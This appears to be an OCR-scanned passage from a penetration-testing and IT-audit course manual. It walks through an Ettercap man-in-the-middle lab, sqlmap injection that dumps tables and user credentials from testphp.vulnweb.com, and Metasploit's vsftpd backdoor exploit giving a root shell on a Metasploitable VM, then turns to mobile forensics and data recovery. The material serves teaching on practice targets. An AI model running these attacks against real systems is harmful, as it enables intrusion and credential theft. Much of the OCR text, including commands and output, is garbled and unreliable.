sudo s»
FA200:0200:85 [sude) passwerd for kali:

5 )
WFAIR28TF2 L tepdump -1 athO port 89 and host 10.9.2.160
0038 0FC1687D Tepdanp: verbose outpet seppredsed, wse ~viv].. for full pretecol decode
COPCOLALFRE Listening ¢n othe, Lisk-type (NIOME (Cthernet), saapihet Leagth 262144 bytes
96:32126.089916 IP 10.9.2.169.49179 > 323-211-217-111.deploy. static. akamaitec
F9:00:02F2FO heologies.con.http: Flags (3], seq 2)58560991, win 8192, optioes [mss 1460,.me
p.wicale 2,009,009, 50ck0x], length o
Debete Host 06102:126.091590 1P 30.9.2.089, ln!lf' > a23-231-217-111.duploy. static, skamaltec
= o m\qln com, Wttp: Flags [5). 25050991, win 5192, options [wss 1460,.m
3 2,709 SackOK ], loqm [}
z‘n"u”m’o 939227 1P a23-211-217-111.deploy.static.akamaltechnologles.con. hitp
y: ATV > > 19949179 Flags [5.), seq 31270067, ack 2358563902, win 64240, op
P: [0.9.L7 ACK : 10.9.3.52 255.255.0.0 GW 30.9.1.1DNS 10.2.1.60 "ddn.. 3 1460, 000,000, SACkOK,nep, wscale 7], length 0
P: [10.9.1.7) OFFER: 10.9.3.52 255.255.0.0 GW .91 DJ.\.‘O'& $32326.939448 19 Zu-zn-n)-ux deploy.static.ahamaitechnologies. con. hitp
= 0913 ACK: 10.9.3.52 255.255.0.0GW 9.1 10.2.1.60 “ddn. B.2.360.491791 Mlags [5.), seq 314276067, ack 2358563902, win 64240, o
OFFER: tions [mas 1460,00p, 000, SACkOK,nop, wicale 7], L .
nos.1 _a.w.unmooa«ns.u WAL “ 06132126.030810 1P u 9.2.369.40179 > a23-211~ zmu ~loy static.akasaitec
L9.LYACK : 10.9.3.52 25525500 GW 911 0.2.1.60 "ddn. heologies.con.http: Flags [.1, ack 1, win o3
1.7 OFFER:10.9.3.52 25525500 GW X9 LTONS 10.2.1.60 709 94132126.940120 1P 19.9.2.169.49279 > a23-211~ zn 1. n.l.y Sratic.skamaitec
LI ACK; 10.9.3.52 255.255.0.0 GW %0.9.1.1 I‘%\:‘w "ddni heologies.con.Wtip: Flags [P.]. seq 11239, ack 1, wia 36423, leagth 28: wTTP
&0

P: [10.9.1.5) OFFER : 10.9.3.52 255255.0.0 GW X.9.11 1607dd : GAT /fwlink/TLinkID=121792 WTTP/1,1

P: (10919 ACK : 10.9.3.52 255.295.0.0 GW %0.9.11ONS 1.60 "ddn “ 12126947304 1P 30.9.2.369.4917% > 22)-711-217-111, tvlq static.akamaitec
5 ; - heologies.com http: Flags [.], ack 1, win 18425, length
m:g&:ﬂggm%g:gx” llg: $6:32:20.947768 17 10.9.2.369.49179 > a23-211-217-111. ~10I static.akamaitec
: [10.9.1.9] ACK : 10.9.3.52 255.255.0.0 GW X.9.1.1DNS "

% [¥0.9.1.7] OFFER : 10.9.3.52 255.255.00 GW X0.9.11

P: 0.9 L1 ACK: 10.9.3.52 255.255.0.0 GW X.9.LIDNS

Step 9: Now, the MITM attack is performed, any network activity on the target machine can be
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observed with the tcpdump. Note: It will take several minutes to run the scan.

Check your progress 7

a) Space is given below for writing your answer.
b) Compare your answer with the one given at the end of the unit.

i) Do you see any network traffic after performing MITM on tcpdump? If yes, please write some of them

below:

ii) Do you see any other active hosts after scanning the hosts on Ettercap-graphical? If yes, please write

me of them below:

2.7 Automated SQL Injection using SQLMap

In this lab, we will perform automated SQL Injection using SQLMap. SQL injection is a code
injection technique, used to attack data-driven applications, in which malicious SQL statements
are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).
SQL injection must exploit a security vulnerability in an application's software, for example,
when user input is either incorrectly filtered for string literal escape characters embedded in SQL
statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly
known as an attack vector for websites but can be used to attack any type of SQL database.
sgqlmap is an open source penetration testing tool that automates the process of detecting and
exploiting SQL injection flaws and taking over of database servers. It comes with a powerful
detection engine, many niche features for the ultimate penetration tester and a broad range of
switches lasting from database fingerprinting, over data fetching from the database, to accessing
the underlying file system and executing commands on the operating system via out-of-band
connections.
Requirements for the lab: Attacker Machine - Kali Linux. Target -

http://testphp.vulnweb.com/ Step 1: Launch your attacker machine (Parrot virtual
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http://testphp.vulnweb.com/

machine) and log in.
Step 2: Open your terminal and type sqlmap to launch the sgimap.

user@parrot

Usage: python3 sqlmap [options]

sqlmap: error: missing a mandatory option (-d, -u, -1, -m, -r, -g, -c, --wizard,
--shell, --update, --purge, --list-tampers or --dependencies). Use -h for basic
and -hh for advanced help

Step 3: Open a web browser and type - http://testphp.vulnweb.com/ in a tab.

Step 4: After that, find out the link to start the sgl injection. For that, you can use google,
and type site: http://testphp.vulnweb.com/ php?id=. The first link that has this kind of
structure will be your

link for SQL Injection. Example: http://testphp.vulnweb.com/artists.php?artist=1

Step 5: Now, in terminal, type — sglmap —u http://testphp.vulnweb.com/artists.php?artist=1 —dbs

f it gives you result then the website is vulnerable to SQL Injection.

| 5 § parrot

osqimap -u Mttp:// > mweh. con/artists. phpTartisti\20«]l .dis

L]
Gl )
. 1h | BN
RS
Liv... 1.1 hitps:sisglaap.org

F11) legal disclatmer: Usoge of sqluap for attacking targets witheut prior sutual consest is illegal. It is the end wser's responsibility to all applicadle 1
9 ¥

‘ocal, state and federal las wers assuse nd Liablisty sad are sot responsible for any misuse or dasage caused by this progras

‘| starting @ 12:00:40 /20

1% stable

ter ortist’ is dymamic
camater “artist’ does nd1 appodr 10 b dynamic
4t shons that GET paraseter “artist’ might mot be Injectadble
o6 oo GET paraseter ‘artist’

Beolean-based biind - Parameter replace (original value)’
ting ‘MySOL »= 5.1 AND error-based . WHMERE, MAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
PostqreSOL AMD error-based - WHERE or MAVING clause’
Microsoft SOU Server/Sybase AMD error-based . WERE or WAYING clause (IN)*
Oracle AD error-based . WHERE or MAVING clause (DOWType)
Generic inline queries
Postgresie > 8.1 stacked queries (comment)
Microsoft SOU Server/Sybase stacked quaries (comment)’
g ‘Oracle stached queries (DEMS PIPE RECEIVE MESSAGE - comment)’

ML ae KA VY AN rima Rarad hECnd a8 BEDA ¢
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Step 6: Now, you can explore the various options available with sglmap and find out the tables
names, columns name, usernames, passwords and email ids.
These are some of the tables

si[:IULL,NULL-- -
[13:47:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.6
back-end DBMS: MySQL >= 5.0.12
[13:47:26] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]

| artists

| carts

| categ

| featured
| guestbook
| pictures
| products
I

And these are some of the columns

Payload: artist=-9915 UNION ALL SELECT CONCAT(©x717©707671,.0x6T7776766268477347564
LNULL-- -

:49:26) [INFO] the back-end DBMS is MySQL
server operating system: Linux Ubuntu
application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[12:49:26] [INFO] fetching columns for table 'users' in database 'acuart’
Database: acuart
Table: users
[8 columns]

mediumtext

varchar(109)
varchar(109)
varchar(160)
varchar(100)
varchar(109)
varchar(100)
varchar(169)

And these are the user credentials
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Database: acuart
Table: users
[1 entry]

- 5 O a vulnweb.com. P B
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Web Vulnerability Scanre
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P PHE APRICAGON, WIIC |5 IGersonaily Vsinorat:
4575 YOU Urcierstand how deweloper emors. and bad

O I0OIS AN YOUT MAUAl RACking 50
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O Privacy 3 Pentest
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Check your progress 8

a) Space is given below for writing your answer.
b) Compare your answer with the one given at the end of the unit.

i) Do you find any databases and tables using sqlmap? If yes, please write some of them below:

i) Do you get the access to the database of the target website? What username and password did
you get?

If yes, please write some of them below:?

2.8 Gaining Access of Metasploitable machine using Metasploit

Framework

In this lab, we will gain the access of the metasploitable machine using Metasploit Framework.
The Metasploit Framework is a Ruby-based, modular penetration testing platform that enables
you to write, test, and execute exploit code. The Metasploit Framework contains a suite of tools
that you can use to test security vulnerabilities, enumerate networks, execute attacks, and evade
detection. At its core, the

Metasploit Framework is a collection of commonly used tools that provide a complete
environment for penetration testing and exploit development.

Requirements for the lab: Attacker Machine - Kali Linux /

Parrot OS. Victim / target Machine — Metasploitable VM
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Step 1: Launch your attacker machine (Parrot virtual machine) and log in

Step 2: Open your terminal and type msfconsole to launch the metasploit

framework. Step 3: Start your target Metasploitable machine and check the ip

address using ifconfig.

Step 4: After that, in attacker machine, the msfconsole will launch the metasploit framework and
you can explore various functions of metasploit with ‘help’ command.

Step 5: Now, run the nmap in msfconsole to identify the various services running on the target
system. Command: nmap IP_target —sV.

> mmop -V 192.168.239.128
[*] exec: nmap -sV 132.168.139.128

Starting Neap 7.91 ( htips://nmap.org ) at 2822-03-25 96:00 EDT

Mmap scan repor: for 192.168.139.128
Host is up (9.0034s latenmcy).
Not shown: 977 closed poris
PORT SYATE SERVICE VERSYON
21/tcp & vsftpd 2.3.56
22/tcp OpenSSH 4.7p1 Debian Subumtul (protocol %.8)
23/%cp Ltinux telnetd
Post¥ix satpd
ISC BIND 9.4.2
Apache httpd 2.2.8 ((Ubentu) DAV/2Z)
2 (RPC 5100000)
neibios-ssn Samba sabd 3.X - £.X (workgroup: WORKGROU?)
neibios-ssn Samba sabd 3.X - 4£.X (workgroup: WORKGROUP)
exec nezkit-rsh rexecd
login OpenBSD or Solaris rlogind
tcpurapped
1099/¢tcp open Java-rmi GNU Classpazh gimiregistey
1524/¢cp open bindshell Metasploitable root shell
28049/tcp open nfs 2-& (R®C 5100003)
2321/tcp open fip ProFieo 1.3.3
mysql MySQL 5.0.51a -3ubuntus
postgresql PosigresqQl DG 8.3.0 - 8.3.7
vnc VNC (protocol 3.3)
X331 (access denied)
6667/icp open irc UnrealIncd
8009/2cp open ajpll rpache Jserv (Protocol vi.3)
8180/tcp open hilp spache Tomcai/Coyote ISP engime 1.1
MAC Address: 90:0C:29:5F:E4:6F (Viware)
Service Info: Hosis: metasploitable.localdomain, irc.Metasploitable - LAN: OSs: Unmix, Linux; CPZ: cpe:/o:linux:linux_ke
roel

Sexvice detection performed. Please repori any incorrect resuiils at https://neap.org/subsii/ .
N=ap dome: 1 XIP address (1 host wp) scamnad in 14.88 seconds

Step 6: Now, you will get the various services running on the target machine. Now, your job is
to find out the vulnerable service (e.g. samba) and the exploit corresponding to it. For that, you
can type — search name:samba type:exploit platform:unix in your msfconsole terminal. This will
give you the list of available

exploit for your target machine. After that you can select the exploit from the list available and can

use it by typing — use name_of_exploit.

gifs > search vsfipd 2.3.4
Matching Modules

Disclosure Date Rank Check Description

¢ exploit/unix/ftp/ B 236 backdoor 2911-07-03 excellent Mo S VI Backdoor Command Execution

Interact with a module by name or index. For exasple info 9, use @ or use exploit/unix/frp/vsftpd_234_ backdoor

Step 7: After that, you need to set the RHOSTS i.e. the IP address of target. For this, type show
options to check various options available with the selected exploit and then set the RHOSTS by
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typing — set RHOSTS Target_IP.
msf6 exploit( ) > set RHOST 192.168.139.12

Step 8: After that, type exploit and you will have command line access to the target machine.
Now, you can run any command on the target machine using the session created by the

metasploit. Note: It will take several minutes to run the scan.

> > exploit

- Banmer: 220 (vsFTPd 2.3.2)

— USER: 331 Please specify the password.

— Backdoor service has been spawned. handling -.-
— UXD: uid-®(root) gid-@(root)

-139.128:6200) at 2022-03-26 0948 49 -04L0O

RX bytes:19856 (19.3 EB) TX bytes:7094 (6.9 KB)
Interrupt:17? Base address:0xZ000

Link encap:Local Loopback

inet addr:127.0.06.1 Hazk:255.0.0.0

ineth addr: ::1-1Z8 Scope:Host

UF LOOFPBACK RUNHING HNTU:16436 Hetric:1

RX packetz:92 errors:® dropped:® overruns:0 frame:@
TX packeiz:9Z errors:@ dropped:® overruns:0 carrier:9
collisions:0 txgueuelen:@

EX bytes:19393 (16.9 EB) TX byte=:19393 (18.9 KB)

isfadnin@netasploitable:™5 ls

ulnerable

isfadmin@netasploitable:™% cd usr

bash: cd: usr: No such file or directory

1sfadmin@netasploitable: ™% cd ..

isfadnin@netasploitable: horned 1s

tp msfadmin service user

1sfadmin@netasploitable: honed cd ~

nsfadmin@mnetasploitable: 5 ls

Abhinav cdrom hone lib nnt proc s usr
deu inited last+found nohup.out root = uar
etc initrd. in nedia opt £hin vnlinuz

isfadmin@metazsploitable:”
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Check your progress 9

a) Space is given below for writing your answer.
b) Compare your answer with the one given at the end of the unit.

i) Do you various services running on target machine? If yes, please write some of them below:

ii) Do you get the access to the target machine? Are you able to run any command on the shell? If yes,

please write some of them below:?

2.9 LetUs Sum Up

This unit covers the fundamentals of IT Auditing, as well as the basics of penetration testing.
This unit is focused on hands-on experience related to various phases of ethical hacking like
reconnaissance, scanning,

gaining the access (attacking). Various tools like maltego, NMAP, SQL map, theHarvester,

metasploit framework are discussed in this unit.

2.10Session wise- list of lab assignments

Now, the session-wise list of lab experiments is given below:
Session -1

a) Scan the target — scanme.nmap.org using nikto and observe the results.
Session -2

a) Execute theHarvester tool to find out the publically available information about your
organization.

Session -3

a) Use NMAP to scan the target — scanme.nmap.org and observe the results.



Session -4

a) Perform footprinting on your organizations website using Maltego.

Session -5

a) Perform DNS Enumeration on target - zonetransfer.me using dnsenum tool in kali linux.
Session -6

a) Perform NetBIOS enumeration using nbtstat tool on your network.
Session -7

a) Use Ettercap tool in kali linux to perform man in the middle attack on your network and

observe the results.
Session -8

a) Perform SQL Injection on target - http://testphp.vulnweb.com/ using SQLMap and

observe the

results.
Session -9
a) Perform SQL Injection on target - http://testphp.vulnweb.com/ using Havij and
observe the results.
Session -10
a) Gain the access of Metasploitable machine using Metasploit Framework
Session -11

Describe the man-in-the-middle threat in secure shell and investigate which authentication

options it offers.

2.11Check your Progress: The Key

1. The following stages must always be included in the IT audit process:

e Planning
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e Defining audit objectives and scope

e Assessing controls

e Gathering and evaluating evidence

e Reporting, and

e Following up.
L J nikto -e 1 -h webscantest.com - Parrot Terminal
File Edit View Search Terminal Help

root@parrot /home/user

#nikto -e 1 -h webscantest.com
Nikto v2.1.6

Target IP: 69.164.223.208

Target Hostname: webscantest.com

Target Port: 806

Using Encoding: Random URI encoding (non-UTF8)

Start Time: 2022-01-15 14:38:56 (GMT®)

No banner retrieved

The anti-clickjacking X-Frame-Options header is not present.

The X-XSS-Protection header is not defined. This header can hint to the user a
gent to protect against some forms of XSS

The X-Content-Type-Options header is not set. This could allow the user agent
o render the content of the site in a different fashion to the MIME type

Server banner has changed from '' to 'Apache/2.4.7 (Ubuntu)' which may suggest
a WAF, load balancer or proxy is in place

Cookie NB SRVID created without the httponly flag

3. Sample output:

rot@parrot /home/user
#theHarvester -d microsoft.com -1 S8 -b sublist3r

0 e e e e e e e e e e e e e e e e e e e e e o e e e e

1 =

2= = IR X
O 8 V) = ek
S O S

I

I

| |

| |
-7
| |
|1
11

theHarvester 4.0.0

Coded by Christian Martorella
Edge-Security Research
cmartorella@edge-security.com

IEEEEEREERERER]
$EREAIHNERAER S

4 o o A A

[*] Target: microsoft.com

Searching Sublist3r.
No IPs found.

No emails found.

-smtp-in-2a.microsoft.com:157.54.41.37
.61.72.33 microsoft.com
1i9client-pl.myphone-1l9client.microsoft.com
119perf-pl._myphone-119perf.microsoft.com
45.76.116.45.microsoft.com
S2_-114-124_-1_relay. teams. microsoft.com




MOBILE PHONE AUDITING AND DATA RECOVERY

Structure
3.0 Introduction
3.1 Learning Outcome
3.2 Mobile phone auditing
3.2.1 Mobile Phone Forensics
3.2.2 Android Forensics
3.2.3 SQLite Analysis of BlackBerry Messenger on Android
3.3 Introduction to Data Recovery
3.3.1 Recovering Deleted Files
3.4 Let Us Sum Up
3.5 Session wise- list of lab assignments
3.6 Check Your Progress: The Key

3.0 Introduction

Technology is the backbone of automated audit operations, whether it is assisting with the
discovery of anomalies, the analysis of patterns, the examination of trends, or the real-time testing
of controls. Controls that are partially effective and can put a business at serious danger. Thus, the
advantages of mobile devices like laptops or tablets for auditing "anytime, anywhere™" take on
more relevance. Printouts of checklists and handwritten evaluations are successful. Additionally,
data integrity is more crucial than ever. With today's technology, audit messages can still be stored
in offline auditing tools even if network connection is lost. This is especially useful when
conducting fieldwork in remote locations with little or no internet. The most recent offline audit
solutions make it simple, accurate, and rapid to record audit evidence while also guarding against
data loss.

The majority of individuals actually believe that deleted or formatted data cannot be recovered. In
actuality, though, the erased files are still kept on the hard drive. Users that are familiar with data
recovery are able to retrieve lost data. Furthermore, we will be able to recover lost data if we are
familiar with the data storage theory. Data recovery is the process of recovering information from
a storage device which is not accessible using the conventional methods because it has been
deleted in the past or because the digital medium has been damaged in some way. Various
techniques are used to recover the missing files, but only in the event that certain portion of the
storage still has the information they contain. Instances where a file has never been transferred to a
persistent storage, such as when files were generated but ultimately unable to be saved to the hard

disc drive owing to a power outage, are not covered by data recovery.
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3.1 Learning Outcome

This is the third unit of this course, which seeks to introduce the concept of Mobile Forensics and
explain the various aspect of data recovery. This unit covers the introduction to mobile forensics,
android forensics and SQL.ite Analysis of BlackBerry Messenger on Android. This unit also covers
the data recovery by taking the case study of Autopsy which is one of the popular tool in the

forensics domain.

3.2 Mobile Phone Auditing

With the use of a tablet with a camera, mobile auditing enables auditors to take photos while out in
the field. Previously, these cameras needed to be synced with database records. However, audio
recordings may now be instantly converted to text. As a result, auditors can avoid the tiresome
chore of entering additional information after coming to the office from the field.
Nowdays, everyone can be seen using laptop, tablet, or smartphone. Because of mobility,
information security threats are now present on the workers' mobile devices, which may be used
for work-related purpose with or without the organization's permission. While mobile devices
promote productivity and efficiency due to their improved capability and mobility, they also pose
danger, particularly when global privacy and data security laws and regulations change.
Organizations must safeguard mobile device data, and internal audits must confirm, the security
measures are effective.

3.2.1 Mobile Phone Forensics
Over the past decade or so, the growth of the mobile market has been the fastest growing segment
of the IT industry. We now have portable smart phones and tablets being used by the entire
consumer and business market. These add an extra challenge to the forensic investigator, but can
also contain a cornucopia of information and evidence of the suspect's activity. These include texts
(SMS) messages, emails, browsing activities, installed apps, etc. The overall impact is that the
mobile device may be the greatest repository of information on your suspect. The figure below
shows the investigative process for digital forensic science.
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The mobile forensics process is shown. In order to prevent physical harm to the evidence, the
procedure of seizing it include its safe removal and careful transfer to avoid electromagnetic
interference, electric shock, and other hazards. This may be done by turning on Airplane Mode and
disabling Wi-Fi and Hotspots to prevent any manipulation. The fragmentation of operating
systems and item specifications might make it difficult to locate the data. The practise of obtaining
the forensic data in a forensically sound manner while preserving its integrity is known as forensic
acquisition. The term "Imaging" also applies to this technique. Based on the case history provided
by the investigator, the forensic analyst separates the relevant and irrelevant material throughout
the investigation phase. The analyst prioritises this data set depending on the ongoing research
during the analysis phase by looking for correlations between the pertinent data provided during
the examination phase. Reporting is a thorough synopsis of the mobile forensics investigation's
findings. This stage also outlines the rationale behind each action taken and the outcome that

resulted from it.
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3.2.2 Android Forensics

We have sought to just cover one tiny aspect of Android Forensics here because it is a significant
and difficult undertaking that deserves its own book, much as Windows, Linux, or Mac forensics.
In this article, we'll look at an Android device's.xml manifest file. We want to concentrate on three
main aspects while assessing an Android device:

(1) /Root/system/packages

(2) AndroidManifest.xml

(3) any applications themselves. These are .apk files
The manifest file provides an.xml list of every programme that has been installed on the device
along with any related permissions. By looking at the permissions of the apps, we may frequently
spot malicious packages in this way. In other terms, a programme should be seen as suspicious and
is possibly malicious if it has rights that are not necessary for it to function.
We have transferred an.xml file from an Android handset to our PC in this instance. We ought to

see a file identical to the one below when we view it in a browser that supports.xml.
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<?xml version="1.0" enceding="UTF-8" standalone="true"?=
- <packages:>
<last-platform-version external="19" internal="19"/>
- <permission-trees>
<item package="com.google.android.gsf' name="com.google.android.googleapps.permission.GOOGLE_AUTH"/>
</permission-trees>
- <permissions>
<item package="android" name="android.permission.CHANGE_WIFI_MULTICAST_STATE" protection="1"/>
om.google.android.gsf" name="com.google.android.googleapps.permission.GOOGLE_AUTH.android" protecti
com.google.android.gms" name="com.google.android.gms.permission.GAMES_DEBUG_SETTINGS" protectio

«<item package="android" name="android.permission.sec. MDM_APP_MGMT" protection="2"/>
<item package="com.sec.spp.push" name="com.sec.spp.permission.GET_REG_INFO" protection="2"/>
<item package="com.sec.android.gallery3d" name="com.sec.android.app.gallery3d.READ_PICASA"/>
<item package="android" name="android.permission.ACCESS_WIMAX_STATE"/>

i "com.sec.android.voltesettings" name="com.sec.android.voltesettings.permission.KEYSTRING" protection="18"/>
om.google.android.gm" name="com.google.android.gm.permission.WRITE_GMAIL" protection="2"/>
om.samsung.android.providers.context’ name="com.samsung.android.providers.context.permission.READ_CAPTURE_CONTENT"
18"/
ndroid" name="com.android.browser.permission.WRITE_HISTORY_BOOKMARKS" protection="1"/:
"com.sec.ims.android" name="com.samsung.rcs.serviceprovider.READ_PERMISSION"/ >

<item package
<item package
<item package
<item package
<item package

:om.qualcomm.qcom_gmi" name="com.qualcomm.permission.ACCESS_QCOM_QMI" protection="2'
-om.skyfire.browser.toolbar.att" name="com.skyfire.bi .toolbar.permissi TART_TOOLBAR_SERVICE" protection="18"/>
"com.sec.android.gallery3d" name="com.sec.android.app.gallery3d. WRITE_PICASA"/>

ndroid" name="android.permission.WRITE_DREAM_STATE" protection="2"/>

-om.google.android.apps.plus” name="com.google.android.gallery3d.permission.GALLERY_PROVIDER" protection="2"/>

<item package="android" name="android.perm on.START_ANY_ACTIVITY" protection=
<item package="android" name="android.permission.BROADCAST_WAP_PUSH" protectiol >
<item package="com.google.android.gsf' name="com.google.android.googleapps.permission.GOOGLE_AUTH.doraemon" label="Google Catalogs"

L

< . >

Go to the permissions for the ledflashlight programme. It need to be close to the middle of the
document. Use the search option if you are having trouble finding it, and it will locate every
mention of "ledflashlight”. The one we seek has the permissions for the application as shown

below.

Find: | Iedashlight Previous Next |[[7] Options ~ | 6 matches

</sigs>
<signing-keyset identifier="1"/>
</package>
- <package name="com.surpax.[SiLE 1 -panel” userld="10185" version="5" ut="14756e8f5ee" it="14756e8f5ee" fi="14756e8ef60" flags="572996"
nativeLibraryPatl /data/app-lib/com.surpax.ledflashlight.panel-1" codePath="/data/app/com.surpax.ledflashlight.panel-1.apk" installer="com.android.vending":>
- <sigs count="1">
<cert
key="30820257308201c0a00302010202044ed84282300d06092a864886f70d0101050500306f310b3009060355040613025553310b300906035504081302
index="47"/>
</sigs>
- <perms>
<item name="android.permission.READ_PHONE_STATE"/>
<item name="android.permi onelEADfEXTERNALﬁSTORAGE",’:> )
<item name="android.permi: .CAMERA"]=
<item name="android.permission.GET_TASKS"/=>
<item name="android.permission.WRITE _SETTINGS"/:

<item name="android.perm
<item name="android.perm n.ACCESS_WIFI_STATE />
<item name="android.perm on.FLASHLIGHT"/ >
ndroid.permission.WAKE_LOCK"/ >
ndroid.permission.ACCESS_NETWORK_STATE"/>
"com.surpax.ledflashlight.panel.permission.C2D_MESSAGE"/>
<item name="com.google.android.c2dm.permission.RECEIVE"/>
</perms:
«</package>
- <package name="
nativeLibraryPat
- <sigs count:
<cert index=
</sigs>
<signing-keyset identifier="1"/>

< >

om.android.pacprocessor” userld="10204" version="19" ut="13cd5197d38" it="13cd5197d38" ft="13cd5197d38" flags="572997"
/data/app-lib/PacProcessor" codePath="/system/app/PacProcessor.apk">

0"/

Note that this application, a flashlight app, has permissions to;
(1) READ_EXTERNAL_STORAGE
(2) access INTERNET
(3) WRITE_EXTERNAL_STORAGE
It's doubtful that a trustworthy lighting application would need such rights. We ought to be wary
about this application! Malware is most likely what it is.
3.2.3 SQLite Analysis of BlackBerry Messenger on Android
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A SQL.ite database is used by many mobile applications to store data. It is great for mobile devices
since SQL.ite is a comprehensive relational database that is quite lightweight.

In this lab, we'll look at the SQLite database from an Android device running Blackberry
Messenger. The SQLite Browser is required. It comes pre-installed with Kali; if not, you may get
it from this page. It should already be set up on your computer if you completed the Browser
Forensics training.

Here, we open the master.db from an Android device using the SQLite Browser. Choose File,
"Open Database," and then master.db. It ought to resemble the screenshot below.

2 o8 sowser o solige - T HHATE Tless /NN B B -

File Edit View Help

& NewDatsbase (g Open Database Virite Changes L Revert Changes

DB Sche&ma & X
Database Structre | BrowseData | EditPragmas | Execute SQL |

[ Name Type -

"o Create Table Madify Table Delete Table 4 [ Tables (62)

Name Type Schema

4[] Tables (62)
CREATE TABLE AppBoxitemlcons
(

AppBosdtemlconld integer primary key autoincrement not null, » || AppBextemlcens
Bdernalld  integer not nul,
Appld integer not null,
> || AppBoxitemlcons IconHash  textnull,
IconData  blob null,
fareign key (Appld)
references Apps (Appld)
on delete cascade

(CREATE TABLE "Applcons’ » B Applcons
Appld  integer primary key not null,

Data blob not null,

foreign key (Appld)

references Apps (Appld)

on delete cascade

| Applcons

)
CREATE TABLE "Apps"

Appld integer primary key autoincrement not null, | I Apps |
Pcid integer not null,
Name tedt not nul, |
> [l Apps Vendor text not null, | =
L AppWorldld text null, = a 1 N - B
q n v

] SQLlog | Flot | DB Schema

The 62 tables are visible, along with the instructions to construct them, in the main window to the
left, under the Schema column.

Next, select the "Browser Data" tab from the main window's top menu. An image of that screen
should appear below. The 62 tables are listed in the right pane. Simply choose the table from the

"Table" pull-down option at the top of the main window if you want to see the data in a table.
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File Edit View Help
& Mew Database 2 Open Database ] Write Changes % Revert Changes
Database Structure Browse Data Edit Pragmas Execute SQL | ZES=t 8x
o [ otenico g = "
a Tables (62)
\ppBoxItemiIconl  Externalld Appld IconHash IconData
Filter |Filter |F\\ter |Fi\ter’ |F\Iter
> || AppBaxdtemlcons
» ] Appleons
> = Apps
[1=] (=] o-00fo [=] =1 Go to: 1 ‘ L L
SQL Log Plot DB Schema
UTF-&
H H mn H "
In this instance, access the "File Transfers" table, From the pull-down menu.
H T n H 1] - H -
Now information from the "File Transfer" table will be added to the main menu. There will be two
file transfers. These are.jpeg documents. There location can be seen on the device by enlarging the
path column.
& New Database ) Open Database ] Write Changes & Revert Changes
Database Structure Browse Data Edit Pragmas Execute SQL DB Schema &) &2
Table: | ] FileTransfers -] & @ New Record | [Delete Record Name Type I‘\
b (=] Tables (62) =
actld Incoming State AbortReason Path ContentType Description 4 J Indices (80)
|F\Iter |Fi\ler |F\Iter |F\\ter |Fi\ler |F\Iter |F AppBosdtemlcons_AKL
1 1 3 [data/data/com.bbm/files/bbmcore/files/1 image/jpeg 7 Apps_AKL
2 1] 3 [storage/emulated/0/DCIM/Camera/140683298151... image/jpeq ChannelCategories_IXL
ChannelCategories_PK
ChannelComments_AKL
ChannelConversation_FK1
ChannelData_AK1
ChannelNotifications_FK1
ChannelOfficeHours IX1
ChannelPosts AKL
ChannelPosts_FK1
ChannelRecommendations_AKL
aq i r ChannelSearchQuery_AKL i
1-20f2 (] [1] Goto: 1 g L | k

These columns will show "UserID" and "Incoming” columns if scrolled left through them. In the

image below it can be seen that User ID=10 made both file transfers, and the incoming column

shows that the first file transfer was an incoming one and the second one an outgoing one (not

incoming). Clearly, this information might be helpful in proving that the suspect used that phone

to send or receive a harmful or unlawful file.
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e Lun oview

& New Database & Open Database ] Write Changes L Revert Changes

Database Structure Browse Data Edit Pragmas Execute SQL |

Table: [ | FileTransfers '] [ New Record ] [Delebe Record

' A
FileTransferld ConversationId RemaotePin UserId ParticipantId ContactId Incoming State AbortReasq
[Filt Filter Filter Filter [Filter [Filter Filter [Filter [Filter

7ef66178 10 2 1 3

7efe6178 10 2 0 3
— —

Check your progress 1

Space is given below for writing your answer.
b) Compare your answer with the one given at the end of the unit.

i)What are the findings of mobile forensics?

3.3 Introduction to Data Recovery
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The practice of recovering inaccessible or corrupted data from digital media that has suffered some
sort of harm is known as data recovery. Data may be recovered using data recovery software from
a wide range of devices, including hard drives, storage devices, tapes, cell phones, PDAs, floppy
discs, CDs, DVDs, data cartridges, Xboxes, and many more. Data may be retrieved from digital
media in a variety of ways that can differ substantially; the simplest option frequently just
executing some simple software on the storage device in issue. This is usually a bad idea since the
information that is being retrieved itself could get overwritten by the recovery data. There are
more sophisticated commercial software programmes that can perform this task more expertly.
Prior to imaging the original disk and starting work on a "back-up" of the original programme, no
software fixes should be made. If there is an issue with the initial image which is being operated
on for restoration, the most reputable businesses will additionally capture a second image. When a
customer receives a listing of all the restored files, the data recovery task is often considered
complete. After the customer confirms this file listing, the data on the proper medium is
subsequently sent to them. A hard drive, floppy disc, CD, or DVD can be used for this. If a file is
deemed crucial, another option is to encrypt it before emailing it to the client.
To extract data from a disc drive or other storage device without the aid of the file system that
originally produced the file, file carving is a technique used in computer forensics. It is a technique
used to recover data and carry out a digital forensic investigation that finds files at unallocated
space without any file information. It is also known as "carving," a broad term for the process of
separating structured data from unstructured data based on the presence of format-specific
properties in the structured data.
File carving methods: Several forms of media need to be examined during digital investigations.
Relevant information can be located in computer memory as well as on a variety of networking
and storage devices. It is necessary to examine a variety of data formats, including emails,
electronic documents, system logs, and multimedia files. The recovery of multimedia files from
storage devices or computer memory using the file carving method is the main topic of this text. A
recovery method known as "file carving" only takes into account the contents and structures of
files, not the file system or other meta-data that is used to arrange data on storage media.
Typical implements for file carving: Because clever harmful users will constantly strive to destroy
evidence of their illegal actions, data recovery technologies play a crucial part in the majority of
forensic investigations. Tools for data recovery include:

e Scalpel

e FTK
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e Encase

e Foremost
e PhotoRec
e Revit

e TestDisk

e Magic Rescue

e F-Engrave
3.3.1 Recovering Deleted Files
Any files that the suspect may have erased can be recovered. The most basic of the abilities
required for a forensic investigator is undoubtedly retrieving deleted files. Until replaced,
"deleted" files are still there on the storage media. Simply by deleting the files, the cluster becomes
ready for overwriting. This implies that the erased evidence files can still be recovered until the
point at which the file system overwrites them.
The Sleuth Kit (TSK) is an open-source tool for finding and retrieving deleted data. The Sleuth Kit
can be used with the Windows testing environment even though it was originally designed for
Linux.We will use the GUI interface known as Autopsy that was created for TSK will be used in
this lesson.
Download and install Autopsy using the following link: http://imwww.autopsy.com/download/

ile View Tools Window Help

Welcome

Create New Case

Open Recent Case

= % \‘V Open Existing Case

-

Autopsy®
